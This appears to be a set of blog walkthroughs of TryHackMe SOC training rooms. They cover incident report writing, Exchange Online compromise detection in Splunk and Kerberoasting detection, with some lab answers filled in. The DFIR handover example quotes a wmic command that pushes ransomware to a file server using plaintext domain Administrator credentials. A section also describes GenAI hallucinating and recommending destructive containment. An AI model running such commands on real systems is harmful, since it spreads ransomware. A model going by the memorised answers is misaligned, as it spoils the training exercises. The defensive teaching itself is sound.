✉ The Initial Report Email Flowchart showing 4 steps: Highlight the urgency, Summarize the case, Suggest customer actions, Explain your next steps. 3. The Final Report

After the initial report, communication becomes ongoing: you share deeper findings, while the customer provides additional context from their side. Once all information has been gathered, you prepare a final report. The goal of the final report is to act as a formal proof that your work on the incident is over, and answer all questions the customer may have, such as how the attack started or why your SOC missed the threat. See the email example below:

✉ The Final Report Email Flowchart of 7 questions a final report must answer: How did the attack start, Who or what was affected, Is the attack still ongoing, What is the known impact, Why your SOC missed it, What will SOC do next, How to prevent reinfection. Challenge

View Site Open the website above, review this executive report, and correct what's not right for the target audience by clicking on the highlighted parts. Once you're done, receive the flag for Question 3. For a better experience on small screens, consider opening the website in full-screen mode.

Static site image.

Answer the questions below

Should you complete the analysis after sharing the initial SOC report? (Yea/Nay) Yea

Correct Answer Should you keep your team informed about the ongoing communication? (Yea/Nay) Yea

What flag did you receive after completing the task's challenge?

Missing recipient - the emails
- Your SOC team should always be informed about the incident thread.

missing context - a login
- It doesn’t say what service or system was logged into. VPN? M365 portal?

Perform data wipe of the Tim Balmer’s laptop (SN: X12157690)
- The response is too harsh and unnecessary for what’s known right now.

Don’t ignore this email
- unprofessional language
  - the text sounds unprofessional and even rude in some contexts

once we finalize it
- unclear timeline
  - you should aim to set real expectations: 30 minutes, 2 hours, end of day

SOC/DFIR Communication

SOC and DFIR Relationship

The Digital Forensics and Incident Response (DFIR) team is like a fire department. Whenever a major incident happens, and regular logs aren't enough, they join the efforts and often take the incident ownership over SOC analysts. In smaller companies, SOC and DFIR teams are typically a single entity, and the communication is simple and casual. In bigger ones, they are independent, and the communication becomes more formal. Let's imagine a scenario:

Your MSSP has just started the onboarding and covers 10% of OpenDoor's AD network
You received a critical Ransomware Infection alert from the monitored part of the network
The evidence leads you to the conclusion that the whole AD network is being encrypted
You isolate what you can, call the customer, and suggest shutting down all their servers
OpenDoor urgently hires a DFIR team from TrySaveMe to take over the critical incident
You are asked to hand over all findings and indicators you found in SIEM to TrySaveMe

DFIR Handover Notes

Unlike C-level leadership and MSSP customers, DFIR team members focus less on style and language, but more on raw facts and evidence. They would expect actionable TTPs and attack artifacts from you so that they could start where you ended; one page of your SIEM findings would be more valuable than ten pages of filler text. In our example, TrySaveMe would be interested in:

Incident Context: How everything started and what log sources your SOC monitors
Attack Timeline: When and where the attack started, and how it continued step by step
Attack Scope: All you know about the affected hosts, users, and other related assets
Performed Actions: What response actions have you or the customer already done
Raw Indicators: IPs, domains, hashes, scripts, tools, and other IoCs you identified

Handover Notes Example

Internal notes are often shared on a voice call or through an informal chat channel. However, in our scenario, TrySaveMe is an external DFIR team, so you'd better communicate via email for accountability and legal purposes. Also, keep in mind that DFIR teams rarely need generic recommendations; they are experts and just need the findings and facts. Below is an example of handover notes you can prepare:

✉ DFIR Handover Notes: OpenDoor Inc.

To: dfir@trysaveme.thm, soc@tryhackme.thm

Subject: [Handover Notes] Ransomware Attack on OpenDoor Inc.

Case Summary

OpenDoor Inc. is actively experiencing a ransomware attack targeting their Active Directory environment. SOC visibility covers 10% of the environment, where ransomware deployment was prevented. The remaining 90% of the environment is presumed encrypted. The customer has been notified, and the data center has been fully shut down as a containment measure. Incident timeline and reference links below:

[Customer's wiki page with AD network diagrams and subnet ranges]
[Document with monitored servers; SIEM, EDR, and other tools in use]
[Links to the received SOC alerts (e.g., in SIEM or a ticketing platform)]

Mar 6, 07:15 UTC | WEB-01
Automated HTTP recon originating from 204.17.98.56 targeting portal.opendoor.thm, a corporate website hosted on WEB-01, an AD-joined IIS server at London HQ (10.0.0.5). The IIS process was running under NT AUTHORITY\SYSTEM.

Mar 6, 07:32 UTC | WEB-01
Attacker exploited an unrestricted file upload vulnerability in /feedback/form.php on the website to upload a PHP web shell (shell.php) via HTTP POST. The web shell was used to execute discovery commands (whoami, ipconfig, systeminfo) and drop an unidentified C2 binary (beacon.exe) to C:\Windows\.

Mar 6, 07:45 UTC | WEB-01
The C2 binary was persisted via a scheduled task named \TelemetryService, created using schtasks.exe. The beacon.exe beacons to 211.19.12.34:8080 every minute. No further malicious activity was observed within, but note that our monitoring breadth and depth are very limited.

Mar 6, 08:22 UTC | INT-FS-02
Critical EDR alert triggered on INT-FS-02 (Windows file server, 10.0.0.82, same subnet as WEB-01) for C:\gaze.exe, identified as Medusa ransomware. The binary was delivered via WMI from 10.0.0.96 (unknown host) using domain Administrator credentials. Full command: wmic /node:INT-FS-02 /user:CORP\Administrator /password:Welcome! process call create "cmd.exe /c C:\gaze.exe". EDR successfully blocked execution.

SOC Response
Upon triage of the INT-FS-02 alert, SOC assumed that WMI ransomware deployment was likely in progress across all customer hosts. All monitored endpoints, including WEB-01 and INT-FS-02, were isolated. The customer was contacted by phone; they confirmed that some servers were already unresponsive. According to our recommendations, the customer shut down the entire HQ data center to stop ransomware deployment.

Indicators

Web shell file: shell.php
Web shell user (IP): 204.17.98.56
C2 file: C:\Windows\beacon.exe
C2 MD5: ed1bb069b0bd52698b8c9ae9a397b343
C2 persistence (task): \TelemetryService
C2 IP: 211.19.12.34:8080
Ransomware file: C:\gaze.exe
Ransomware MD5: 5dacf83e155e11b0cf721dd9c60646d3
Ransomware origin host: 10.0.0.96

Challenge

View Site

Open the website above, review the handover notes to the DFIR team, and correct any mistakes you find by clicking on the highlighted parts. Once you're done, receive the flag for Question 3. For a better experience on small screens, consider opening the website in full-screen mode.

Answer the questions below

Are L2 handover notes meant for a non-technical audience? (Yea/Nay) Nay

What part of the handover notes lists your findings chronologically? Attack Timeline

What flag did you receive after completing the task's challenge?

unnecessary text:

2 - ambiguous phrasing

missing actor - was executed

was exfiltrated - no eveidence

other IPS - missing context

Responsible AI Usage

AI in SOC Report Writing Think about how much time you'd need to write reports similar to those in the previous tasks. Even if you already have the attack chain in your head, translating it to a formal report might take half an hour, or even more if English is not your native language. This is where GenAI can help: you feed your notes and report requirements to a prompt, and receive a well-structured report in the output.

Importance of Case Context

The quality of an AI-assisted report depends on the LLM model and context you provide. Ideally, your prompt should fit into the model's context window, include your requirements for report style and size, and contain the following context:

Customer profile: Industry, size, unique MSSP contract agreements Asset details: Role of the server or position of the affected employee Threat intelligence: Enriched TI reports about the observed indicators Historical context: Summaries and outcomes of past similar incidents Monitoring notes: Interesting False Positives cases or SIEM specifics AI is only as good as what you feed it. Experiment and find your "golden prompts". Responsible AI Usage While GenAI does a great job at summarizing the incident and setting the right style for the audience, its results must always be verified, especially if the report is sent outside of your team. The customers won't care if you used AI or not, but it is fully your responsibility to send a correct, professional report. The main pitfalls you can have with using AI-assisted reports are:

Sensitive Data Exposure

First of all, don't forget that all data you paste on the Internet becomes out of your control, and GenAI prompts are no exception. If your team uses cloud GenAI services instead of relying on self-hosted models, you must ensure that the confidential data is not pasted into prompts, especially the data of your MSSP customers and hardcoded credentials (e.g., in the process command line).

Too Much Filler Text

GenAI excels at generating text, but the report readers need not just any text but actionable instructions. A customer might scroll through 10 pages of the report and still not find any attack indicators or applicable recommendations. That's an indicator of a bad report. Your primary task is to keep the report structured and actionable - not big and complex.

GenAI Hallucinations

Imagine your company uses a security tool that reads password hashes of domain users and checks if they are found in public data leaks. If you feed the behavior of the tool to the AI, it will surely panic, alert on credential dumping malware, and recommend isolating the host. To avoid such scenarios, you should provide enough context, including the tool documentation.

Destructive Containment

I once had a security incident, where attackers injected malware code into Windows Explorer's memory and the AI assistant recommended quarantining the explorer.exe binary. At first, it sounds correct: a binary did malicious action, so let's block it. However, since Explorer is a core OS component, such action will completely break the system and still not remediate the threat. Be very careful with trusting AI regarding containment and eradication.

Answer the questions below

What should you provide in the AI prompt to get the best reports? Context

Should you fully rely on GenAI for critical decision making? (Yea/Nay) Nay

Conclusion

Communication becomes more critical as you move up to L2 and beyond. Even if you are a security expert, the employees and customers you protect can't act without clear, simple guidance from you. Don't underestimate report writing, as it is a core skill for L2 and further leadership roles. Also, if you plan to take the SAL2 exam, check out the section below. Either way, we hope you enjoyed the room!

SAL2 Exam Tips

Real-world external communication is often chaotic: you miss details and send follow-ups, customer misunderstands your suggestions and asks for a call, DFIR team doesn't wait for your notes and starts independently. The SAL2 exam does not account for these edge cases and expects one clean report, written once, after reviewing the incident. That means a few special rules apply:

Fully investigate the threat first and then start writing the report (no follow-ups)
Merge the initial and final reports into one complete email for a C-level audience
Analyse all logs available before sharing handover notes with the DFIR team

Exchange Online Monitoring (TryHackMe)

Jebitok — Thu, 26 Mar 2026 19:20:04 GMT

Introduction

Email is a critical communication channel in any organisation, which makes it a prime target for attackers. Once a mailbox is compromised, attackers can read emails, exfiltrate sensitive data, and even weaponise the account to launch different phishing campaigns. This room will explore how attackers abuse Microsoft Exchange Online post-compromise and how SOC analysts can detect these attacks using Splunk.

Learning Objectives

Understand how Exchange Online generates logs and where to find them
Identify suspicious mailbox rules creation and email forwarding
Detect phishing campaigns launched from compromised mailboxes
Use message trace and audit logs to scope an incident
Investigate a real-world Exchange Online compromise

Prerequisites

Entra ID Monitoring

Exchange Online Overview

Exchange Online is Microsoft's cloud-based email and calendaring service, part of the Microsoft 365 suite. You may also know it as Outlook. Unlike traditional on-premise Exchange servers, which require organisations to manage their own mail infrastructure, Exchange Online is fully hosted and maintained by Microsoft.

What Happens When Exchange Online is Compromised?

Email is a critical part of every organisation. It contains sensitive business communications, financial data, credentials, and personal information. This makes Exchange Online a prime target for attackers. Once inside a mailbox, an attacker has access to a goldmine of information and a powerful platform to launch further attacks.

While every attack is different, security researchers and SOC analysts have observed a common pattern in Exchange Online compromises. A typical attack chain looks like this:

Credential Theft: Before gaining access, the attacker first obtains valid credentials. This typically happens through phishing emails, credential-stuffing attacks using leaked password databases, or the purchase of stolen credentials from dark web marketplaces.
Initial Access: Using the stolen credentials, the attacker authenticates to Microsoft 365 and gains access to the victim's Exchange Online mailbox. This authentication is processed through Entra ID and leaves a trace in sign-in logs.
Discovery: Once inside, the attacker explores the mailbox. They read emails to understand the organisation, identify sensitive information, find other potential targets, and gather intelligence that can be used for further attacks.
Persistence: To maintain long-term access even if the victim changes their password, the attacker sets up mechanisms to keep receiving data. This includes creating forwarding rules to silently copy all incoming emails to an external address, or setting up inbox rules to delete specific emails so the victim stays unaware.
Lateral Movement: Finally, the attacker weaponises the compromised account. By sending phishing emails from a trusted internal address, they can bypass email security filters and trick colleagues into clicking malicious links or revealing their own credentials.

Not every attacker follows this exact sequence, and some steps may be skipped or reordered. However, understanding this pattern gives SOC analysts a solid foundation for investigating Exchange Online incidents. In the upcoming tasks, we will explore the logs generated by each of these activities, learn how to detect them in Splunk, and ultimately investigate a real-world Exchange Online compromise from start to finish.

Answer the questions below

Which attack stage involves sending phishing emails from a compromised account to other employees? Lateral Movement

Exchange Online Logging

SOC analysts investigate Exchange Online compromises using three main log sources: Exchange Online sign-in logs, M365 unified audit logs, and message trace logs. Each reveals a different aspect of the incident.

Note: Before we explore the Splunk queries for these logs, it is important to note that all of these queries are intended to be applied for "All time" in this room.

Exchange Online Sign-In Logs

Every time a user accesses Exchange Online, they first authenticate through Entra ID. This authentication generates a sign-in event regardless of whether the login was successful. These logs are invaluable during an investigation because they tell you who tried to access the account, from which IP and location, whether the attempt succeeded or failed, and some other valuable details.

In Splunk, Exchange Online sign-in logs can be queried using:

Investigate Exchange Online Sign-in Logs

index=* sourcetype="azure:aad:signin" appDisplayName="One Outlook Web"
| table _time userPrincipalName appDisplayName ipAddress location.city status.errorCode
| sort - _time

M365 Unified Audit Logs

Once authenticated, any action the user performs inside Exchange Online is recorded in the Microsoft 365 unified audit logs. These logs capture mailbox activities such as emails sent, inbox rules created, forwarding settings changed, and mailbox access events.

In Splunk, Exchange Online audit logs can be queried using:

Investigate Exchange Online audit logs

index=* sourcetype="o365:management:activity" Workload=Exchange
| table _time UserId Operation Workload

The Workload field identifies which Microsoft 365 service generated the event. For Exchange Online activities, this will always be Exchange. The Operation field tells you exactly what action was performed. The most important operations to know for this room are:

Operation	Description	Why does it matter?
`MailItemsAccessed`	Someone accessed and read emails in the mailbox	Helps identify if an attacker has read sensitive emails after gaining access
`Send`	An email was sent from the mailbox	Detects phishing emails sent from a compromised internal account
`New-InboxRule`	A new inbox rule was created	Attackers create rules to delete replies or forward emails to hide their activity
`Set-InboxRule`	An existing inbox rule was modified	Attackers may modify existing rules to avoid detection instead of creating new ones
`Set-Mailbox`	Mailbox settings were changed, including forwarding	Used by attackers to configure silent email forwarding to an external address
`Add-MailboxPermission`	Delegate access was granted to another user	A common persistence method by which attackers grant themselves access to return to the mailbox even after a password reset

Message Trace Logs

While the unified audit logs indicate that an email was sent, they don't indicate who received it. This is where message trace comes in. Message trace is a separate log source that tracks the full delivery journey of every email, including the sender, recipient, subject, delivery status, and timestamp.

This makes message trace particularly useful in two scenarios. First, when scoping a phishing campaign, if you identify a suspicious email that was sent from a compromised account, message trace tells you exactly how many people received it and whether it was delivered successfully. Second, for timeline construction, message trace provides precise delivery timestamps that help piece together the sequence of events during an incident.

In Splunk, message trace logs can be queried using:

Investigate Message Trace logs

index=* sourcetype="o365:reporting:messagetrace"
| table Received SenderAddress RecipientAddress Subject Status FromIP

Answer the questions below

Which appDisplayName value confirms that a user accessed their Exchange Online mailbox?

index=* sourcetype="azure:aad:signin" appDisplayName="One Outlook Web" | table _time userPrincipalName appDisplayName ipAddress location.city status.errorCode | sort - _time

Which Exchange Online feature can attackers abuse to automatically delete replies to phishing emails? New-InboxRule

Detecting Mailbox Rule Abuse

The attacker is in. They have successfully authenticated to the victim's Exchange Online mailbox and spent time reading emails. Now their priority shifts: they need to stay hidden and keep receiving data, even if the victim becomes suspicious. To achieve this, attackers typically abuse three powerful Exchange Online features: inbox rules, email forwarding, and delegate access.

Inbox Rules

Inbox rules are a legitimate Exchange Online feature that allows users to automatically manage incoming emails. A user might create a rule to move newsletters to a specific folder, flag emails from their manager, or forward emails from a particular sender. These are normal day-to-day actions.

When a user creates inbox rules, their activity will appear in Splunk under two operations:

New-InboxRule is logged when a new inbox rule is created
Set-InboxRule is logged when an existing inbox rule is modified

New-InboxRule

When a new inbox rule is created, it will appear as a New-InboxRule operation. Attackers typically create inbox rules for one of two purposes:

Delete rules: The attacker creates a rule that automatically deletes incoming emails matching certain criteria. The most common use case is deleting replies to phishing emails sent from the compromised account. When colleagues receive a suspicious email and reply to ask if it is legitimate, those replies are silently deleted before the victim ever sees them. This keeps the victim unaware that their account is being abused.

Forwarding rules: The attacker creates a rule that automatically forwards incoming emails matching specific conditions to an external address they control. For example, forwarding only emails containing words like "invoice", "payment", or "credentials" to avoid raising suspicion through high email volumes.

In Splunk, use this query to find inbox rule creation events:

Investigate inbox rule creation

index=* Workload=Exchange Operation=New-InboxRule 
| table _time UserId Name DeleteMessage ForwardTo SubjectContainsWords

The parameter fields in a New-InboxRule log contain the full details of what the rule does. The most important parameters to look for are:

Parameter	Description
`Name`	The name given to the rule
`SubjectContainsWords`	Condition: triggers if the subject contains specific words
`DeleteMessage`	Action: if True, matching emails are deleted
`ForwardTo`	Action: forwards matching emails to a specified address

The key red flag is DeleteMessage = True; this is rarely a legitimate use case and should always be investigated.

Set-InboxRule

When a user modifies an existing inbox rule, it will appear as a Set-InboxRule operation. An important distinction here is that Set-InboxRule only logs the fields that were changed, not the full rule configuration. This means the absence of a field does not mean that the action no longer exists on the rule.

Red flags to watch for across both operations:

DeleteMessage = True, indicating the attacker is hiding replies
ForwardTo pointing to an external domain
Rules created or modified outside business hours
Rule names that look generic or system-like to avoid suspicion

Mailbox-Level Email Forwarding

Unlike the forwarding rules we saw above, which only forward emails matching specific conditions, mailbox-level email forwarding applies to every single incoming email unconditionally. The attacker configures this directly in the mailbox settings, meaning that every email the victim receives, regardless of sender, subject, or content, is silently copied to the attacker's external address.

In Splunk, mailbox-level email forwarding appears as a Set-Mailbox operation.

Investigate mailbox-level email forwarding

index=* Workload=Exchange Operation=Set-Mailbox 
| table _time UserId ForwardingSmtpAddress DeliverToMailboxAndForward

Red flags to watch for:

ForwardingSmtpAddress pointing to an external domain like Gmail or ProtonMail
DeliverToMailboxAndForward = False
Forwarding configured shortly after a suspicious sign-in

DeliverToMailboxAndForward = False is particularly suspicious; it means the victim will not even see the emails in their own inbox. Everything goes silently to the attacker.

Delegate Access

Delegate Access abuse is not very common, but it is a highly effective persistence technique. Attackers add themselves or another account they control as a delegate to the victim's mailbox, thereby gaining persistent access even after the victim changes their password. Unlike forwarding rules, delegate access gives the attacker full interactive access to the mailbox; they can read, send, and manage emails as if they were the victim.

Delegate access changes appear in Splunk as an Add-MailboxPermission operation. The Trustee field shows which account was granted access. Any unexpected delegate, especially one added outside business hours or shortly after a suspicious login, should be investigated immediately.

Remediation

Upon detecting mailbox rule abuse or unauthorised forwarding, a SOC analyst should take the following steps:

Identify and delete any suspicious rules immediately
Remove any unauthorised forwarding addresses from the mailbox
Force a password reset to lock out the attacker
Revoke all active tokens and sessions for the compromised account
Determine how long forwarding was active and what emails may have been exfiltrated
Check if any unexpected delegates were added and remove them

Practice

To answer the questions, use the provided Splunk instance.

You will use the index=task4_5 query. Search for All Time and start investigating.

Answer the questions below

A suspicious inbox rule was created by a user. What is the name of the rule that forwards emails to an external address?

index=* Workload=Exchange Operation=New-InboxRule 
| table _time UserId Name DeleteMessage ForwardTo SubjectContainsWords

What word does this forwarding inbox rule trigger on in the subject? Verify

The same user configured mailbox-level email forwarding. To which external address were emails being forwarded?

index=task4_5 DeliverToMailboxAndForward

Detecting Phishing from Compromised Mailbox

Now the attacker wants to expand their reach. With persistent access established and mechanisms in place to stay hidden, the compromised mailbox becomes a weapon. Sending phishing emails from a legitimate internal account is one of the most effective techniques in an attacker's arsenal. The email comes from a trusted colleague, bypasses external email security filters, and is far more likely to be clicked than a message from an unknown sender.

MailItemsAccessed

Before launching a phishing campaign, a sophisticated attacker will first spend time reading the victim's emails. By understanding ongoing conversations, the attacker can craft highly convincing phishing emails that reference real projects, real colleagues, and real business context. This reconnaissance activity is captured in the MailItemsAccessed operation.

MailItemsAccessed logs are generated whenever emails in a mailbox are accessed or read. From a SOC analyst's perspective, this operation is important for two reasons. First, it can reveal that an attacker was actively reading emails before launching further attacks. Second, it is critical for data exposure assessment. If sensitive emails were accessed, the organisation may have a data breach notification obligation under GDPR or other regulations.

In Splunk, use this query to investgate mail items accessed:

Investigate Mail Items Accessed

index=* Workload=Exchange Operation=MailItemsAccessed 
| table _time UserId ClientIPAddress OperationCount

Red flags to watch for:

MailItemsAccessed events from an unusual IP address or location
High OperationCount indicating a large volume of emails being read
Access occurring outside business hours

Send Operation

When the attacker sends phishing emails from the compromised account, each email generates a Send operation in the Exchange audit logs. This is how SOC analysts can identify that a compromised account was used to send suspicious emails.

The key fields in a Send log are:

Field	Description
`UserId`	The account that sent the email
`Item.Subject`	The subject line of the email sent
`Item.SizeInBytes`	Size of the email
`ClientIP`	IP address from which the email was sent
`SaveToSentItems`	Whether the email was saved to Sent Items

SaveToSentItems=False is a red flag. Attackers sometimes configure this to prevent the sent email from appearing in the victim's Sent folder, further hiding their activity.

In Splunk, use this query to investigate sent emails:

Investigate Sent Emails

index=* Workload=Exchange Operation=Send 
| table _time UserId Item.Subject ClientIP SaveToSentItems

Red flags to watch for:

High volume of Send operations in a short time window
SaveToSentItems=False
Send events from an IP that does not match the victim's normal sign-in IP
Suspicious subject lines like invoice updates, password resets, or urgent requests

Message Trace

The Send operation shows that an email was sent and its subject, but it does not indicate who received it. To understand the full scope of the phishing campaign,

how many people received the email, and whether it was successfully delivered, a SOC analyst pivots to message trace.

In Splunk, use this query to investigate message trace:

Investigate Message Trace Logs

index=* sourcetype="o365:reporting:messagetrace" 
| table Received SenderAddress RecipientAddress Subject Status FromIP

By filtering on the suspicious sender and the phishing email subject, you can quickly identify every recipient, confirm delivery status, and build a list of potentially compromised users who need to be contacted and warned.

Red flags to watch for:

Multiple recipients receiving the same email from a compromised internal account in a short time window
Status = Delivered, confirming the phishing email reached the recipient's inbox
Recipients across different departments, suggesting a broad campaign

Remediation

Upon detecting phishing activity from a compromised mailbox, a SOC analyst should take the following steps:

Block the compromised account immediately to prevent any further emails from being sent
Identify all recipients of the phishing email by using message trace
Notify all recipients and warn them not to click any links or open any attachments from that email
Check for further compromised accounts, as any recipients who replied or clicked links may also be compromised
Review sent items and check the compromised account's sent folder for any other suspicious emails that may have been missed

Practice

To answer the questions, use the provided Splunk instance.

You will use the index=task4_5 query. Search for All Time and start investigating.

Answer the questions below

All TechCorp employees work from the same office network. A colleague reported receiving a suspicious email from an internal account. What was the subject line of this email?

index=task4_5 action=delivered

How many colleagues received the phishing email according to message trace?

index=task4_5 action=delivered Subject="Urgent: Verify Your Account"

Based on the output, there are three events, but two of the recipients are the same email; that's why it's only two

From which IP address were the suspicious emails sent?

index=task4_5 james.wilson@techcorp.thm

Incident Investigation

An unusual sign-in alert for Robert Green, Finance Manager at TechCorp, was triaged by a Level 1 analyst earlier today. The sign-in originated from an unfamiliar location and has been escalated to you as the Level 2 analyst on shift. Review the available logs in your Splunk and answer the questions below.

To answer the questions, use the provided Splunk instance. You will use the index=task6 query and search for All Time.

Note: All TechCorp employees work from the same office network.

Tip: When investigating a sequence of events, sort your results by time using | sort - _time at the end of your Splunk queries. This ensures events are displayed in chronological order, making it easier to follow the attacker's timeline.

Answer the questions below

From which city was the malicious login performed?

index=task6 sourcetype="azure:aad:signin" appDisplayName="One Outlook Web" | table _time userPrincipalName appDisplayName ipAddress location.city status.errorCode 
| sort - _time

Needed help to justify the status.errorCode that represents the performance of a malicious login

What was the name of the suspicious inbox rule created by the attacker?

index=task6 robert.green@techcorp.thm Operation=New-InboxRule

The attacker configured email forwarding. What was the email in ForwardingSmtpAddress?

index=task6 ForwardingSmtpAddress

Robert's colleagues received a phishing email. What was the subject line?

index=task6 robert.green@techcorp.thm action=delivered

It seems the attacker was using a VPN. From which IP address did the attacker send the phishing emails?

index=task6 robert.green@techcorp.thm action=delivered Subject="Action Required: Password Reset"

One of the recipients replied to the phishing email. Which user replied?

"adrian.mercer@techcorp.thm"

"allan.senna@techcorp.thm"

"emma.clarke@techcorp.thm"

Looking through each of the emails to check if they sent anything on the queries, none of them did except Emma

Conclusion

In this room, you investigated how attackers abuse Microsoft Exchange Online after compromising a mailbox. You learned how to identify suspicious sign-in activity using Entra ID logs, detect mailbox rule abuse and email forwarding through Exchange audit logs, identify phishing campaigns launched from compromised accounts, and scope the impact of an attack using message trace.

In the next room, SharePoint Online Monitoring, we will explore SharePoint Online and how attackers abuse it to exfiltrate data and maintain persistence within a compromised Microsoft 365 environment.

Detecting AD Credential Attacks (TryHackMe)

Jebitok — Wed, 25 Mar 2026 13:07:26 GMT

Introduction

In August 2024, The DFIR Report documented a BlackSuit ransomware intrusion(opens in new tab) where the attackers used Rubeus to Kerberoast service accounts, AS-REP Roasted an account with preauthentication disabled, and dumped credentials from LSASS memory, all within a single intrusion. In a separate BlackSuit case investigated by ReliaQuest(opens in new tab) that same year, the attackers compromised over 20 accounts through Kerberoasting, including a domain administrator. The techniques they used were not exotic or novel. They are the same credential attacks that show up in incident after incident, and they are detectable if you know what to look for.

This room covers five techniques that bridge the gap between "attacker has a foothold" and "attacker owns the domain."

Kerberoasting and AS-REP Roasting abuse Kerberos to crack passwords offline.
LSASS dumping extracts credentials directly from memory.
DCSync impersonates a domain controller to pull every password hash in the directory.
NTDS.dit extraction copies the AD database file directly from the domain controller's disk.

These aren't the only ways attackers get credentials (a passwords.xlsx sitting on a network share is still a real attack vector), but they're the five that abuse AD's authentication and replication infrastructure directly. Each targets a different part of that infrastructure, requires a different level of privilege, and leaves distinct artifacts in different log sources.

Learning Objectives

Detect Kerberoasting through anomalous TGS requests with RC4 encryption
Identify AS-REP Roasting by recognizing TGT requests for accounts with preauthentication disabled
Detect LSASS credential dumping through suspicious process access patterns
Identify DCSync attacks through unauthorized AD replication requests
Detect NTDS.dit extraction through process creation and file write events on domain controllers
Correlate credential access artifacts across host and domain controller logs to trace an attacker's escalation path

Prerequisites

Active Directory basics: Core AD concepts like domains, users, groups, OUs, and how Kerberos/NTLM authentication works (Active Directory Basics room)
Windows logging: Windows Event Log structure, Security log channels, and key Event IDs (Windows Logging for SOC room)
Active Directory monitoring: Kerberos authentication flows, TGT/TGS ticket concepts, Event IDs 4768 and 4769 (Monitoring Active Directory room)
Splunk basics: SPL queries, filtering, stats commands (Splunk: Exploring SPL room)

Detecting Kerberoasting

Attackers target service accounts through Kerberoasting because these accounts often have weak passwords and elevated privileges. A SQL service account running as Domain Admin, for example, gives an attacker full domain control the moment they crack the password. And the attack itself requires nothing more than a regular domain user account.

How Do Accounts End Up Kerberoastable?

It usually starts with an IT admin who needs to run a service, like SQL Server or a web application, and decides to use their own DA account (or a shared admin account) as the service identity because it's quick. They register an SPN on the account, set a short password so the team can remember it, and move on. Now that account has a weak password hash tied to an SPN that any domain user can request. Multiply this across years of admin decisions, and you get environments with dozens of Kerberoastable accounts.

When a user needs to access a service in Active Directory, they request a Kerberos service ticket (TGS) from the domain controller. The DC looks up the SPN, encrypts the ticket with the service account's password hash, and hands it back. Normally, the user presents the ticket to the service, and the service decrypts it to verify the user's identity.

The problem is that any domain user can request a service ticket for any SPN in the domain. The DC doesn't check whether the user actually intends to use the service. It just issues the ticket. An attacker takes that ticket and cracks the encryption offline. If the service account has a weak password, the attacker recovers the plaintext password in minutes. The diagram below illustrates this flow:

The detection centers on Event 4769 (Kerberos Service Ticket Requested), which the DC logs when it processes a TGS-REQ. Modern AD environments default to AES-256 encryption (0x12) for Kerberos tickets. Most Kerberoasting tools, including Rubeus and Impacket's GetUserSPNs.py, downgrade the request to RC4 encryption (0x17) because RC4 hashes are much faster to crack. A TGS request with Ticket_Encryption_Type=0x17 in an environment that uses AES is a strong indicator.

Here are the fields in Event 4769 that matter for detection:

Field	What It Contains	Why It Matters
Service_Name	The SPN being requested (e.g., svc-sql)	Identifies which service account is being targeted
Ticket_Encryption_Type	0x12 (AES) or 0x17 (RC4)	RC4 requests are the primary Kerberoasting signal
Account_Name	The account requesting the ticket	Identifies the compromised user running the attack
Client_Address	Source IP of the request	Identifies the attacker's machine

Important note: The Client_Address field in Event 4769 often uses IPv6-mapped IPv4 notation on modern Windows domain controllers. Instead of displaying 10.5.90.1, the field shows ::ffff:10.5.90.1. This is standard behavior, not an error. The actual IPv4 address is the portion after ::ffff:, so ::ffff:10.5.90.1 means the source IP is 10.5.90.1.

Walkthrough

Follow along in the Splunk instance, and use index=task2 for all queries in this task

Normal Kerberos traffic includes a lot of Event 4769 entries. Computer accounts (names ending in $) and krbtgt requests generate high volumes as part of regular domain operations. We exclude both to focus on service accounts that could be Kerberoasting targets. Our primary filter is Ticket_Encryption_Type=0x17 since that's the RC4 downgrade signal. The diagram below contrasts normal TGS patterns with a Kerberoasting attack:

index=task2 EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$" Service_Name!="krbtgt"
| table _time, Account_Name, Service_Name, Ticket_Encryption_Type, Client_Address
| sort _time

Multiple TGS requests with RC4 encryption, all from the same account, targeting different service accounts, within a short time window. That pattern is textbook Kerberoasting.

Let's aggregate to answer the key triage questions: how many service accounts were targeted, which account ran the attack, and where did it come from:

index=task2 EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$" Service_Name!="krbtgt"
| stats dc(Service_Name) as targeted_services count by Account_Name, Client_Address

Your next triage priority is the privilege level of the targeted accounts. If any of those service accounts are members of Domain Admins or other privileged groups, the attacker may already have domain-level access once they crack the hash. That distinction is the difference between a routine alert and an active domain compromise.

Detection evasion

In 2022, TrustedSec released the Orpheus(opens in new tab) tool demonstrating that Kerberoasting can be performed with AES-256 encryption instead of RC4, bypassing the Ticket_Encryption_Type=0x17 filter entirely. Microsoft has been deprecating RC4(opens in new tab) as the default Kerberos encryption type, starting with Windows Server 2025, where AES is the default for new Kerberos tickets. RC4 tickets can still be issued for service accounts that only support RC4 in their encryption type attributes, but the overall trend is toward AES-only environments.

This means RC4-based detection alone isn't enough for the long term. Volume-based detection catches both RC4 and AES Kerberoasting because tools like GetUserSPNs.py and Rubeus request tickets for every SPN-holding account in the domain by default, producing a burst of TGS requests that stands out against normal activity regardless of the encryption type used. The following query groups TGS requests into 5-minute windows and flags any account that requested tickets for more than 5 unique service accounts within a window:

index=task2 EventCode=4769 Service_Name!="*$" Service_Name!="krbtgt"
| bin _time span=5m
| stats dc(Service_Name) as unique_spns count by Account_Name, Client_Address, _time
| where unique_spns > 5

Info: The threshold of 5 here is tuned for our lab environment. In production, the right number depends on what's normal in your network. Establish how many distinct service tickets a typical account requests during normal operations, then set your threshold above that peak.

The BlackSuit ransomware group that we mentioned in the introduction used Rubeus for Kerberoasting, and the joint CISA/FBI advisory on Akira ransomware (AA24-109A(opens in new tab)) lists Kerberoasting among the post-exploitation credential access techniques used by the group. These groups are actively using this in the wild, and the RC4 signal is still the most reliable indicator in most environments today.

On the Splunk instance, investigate the Kerberoasting activity using the queries above.

Answer the questions below

How many service accounts were targeted by Kerberoasting?

index=task2 EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$" Service_Name!="krbtgt" | table _time, Account_Name, Service_Name, Ticket_Encryption_Type, Client_Address | sort _time

What account requested the service tickets? (Answer Format: username only, without @domain)

index=task2 EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$" Service_Name!="krbtgt" | stats dc(Service_Name) as targeted_services count by Account_Name, Client_Address

What source IP initiated the Kerberoasting? 10.5.90.1

Detecting AS-REP Roasting

